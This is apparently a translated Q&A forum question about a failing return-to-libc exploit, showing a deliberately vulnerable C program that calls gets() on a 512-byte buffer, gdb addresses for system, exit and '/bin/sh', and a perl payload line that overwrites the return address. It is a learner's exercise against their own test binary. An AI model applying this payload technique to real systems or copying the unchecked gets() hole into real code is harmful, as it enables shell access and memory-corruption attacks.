возврат в libc - проблема

У меня проблемы с эксплойтом return-to-libc. Проблема в том, что ничего не происходит, но нет ошибки сегментации (и да, я действительно переполняю stack).

Это моя программа:

int main(int argc, char **argv) {
  char array[512];
  gets(array);
}

Я использую get вместо strcopy, потому что мои адреса начинаются с 0x00, а strcpy считает, что это конец строки, поэтому я не могу его использовать.

Вот адреса, которые мне нужны:

$ gdb main core
(gdb) p system
$1 = {<text variable, no debug info>} 0x179680 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0x16f6e0 <exit>
(gdb)  x/s 0xbffffe3f
0xbffffe3f:      "/bin/sh"

При вводе правильной последовательности, такое бывает:

eleanor@eleanor32:~/testing/root$ perl -e 'print "\x41"x516 . "\x80\x96\x17\x00" . "\xe0\xf6\x16\x00" . "\x3f\xfe\xff\xbf"' | ./main
eleanor@eleanor32:~/testing/root$

так ничего.

Но если я введу 520 'А (0x41), то EIP переполнится' А '. Если 516 'A', ничего не происходит, но EIP содержит системный адрес, следующий за адресом выхода и указателем / bin / sh.

Почему ничего не произошло?

8
задан jschmier 17 February 2011 в 19:41
поделиться